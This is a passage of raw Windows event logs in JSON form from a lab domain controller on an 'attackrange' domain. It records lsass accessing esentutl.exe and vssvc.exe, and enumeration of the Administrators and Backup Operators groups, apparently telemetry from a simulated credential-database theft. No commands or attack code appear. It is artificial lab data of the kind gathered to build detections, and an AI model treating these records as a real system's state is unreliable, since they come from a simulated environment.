11:56:32.588","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222085,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5510,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.588\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.588","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222086,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5511,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.588\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.588","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222087,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222088,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5512,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.588\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.588","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5513,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.588\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.588","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222089,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222090,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5514,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.588\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 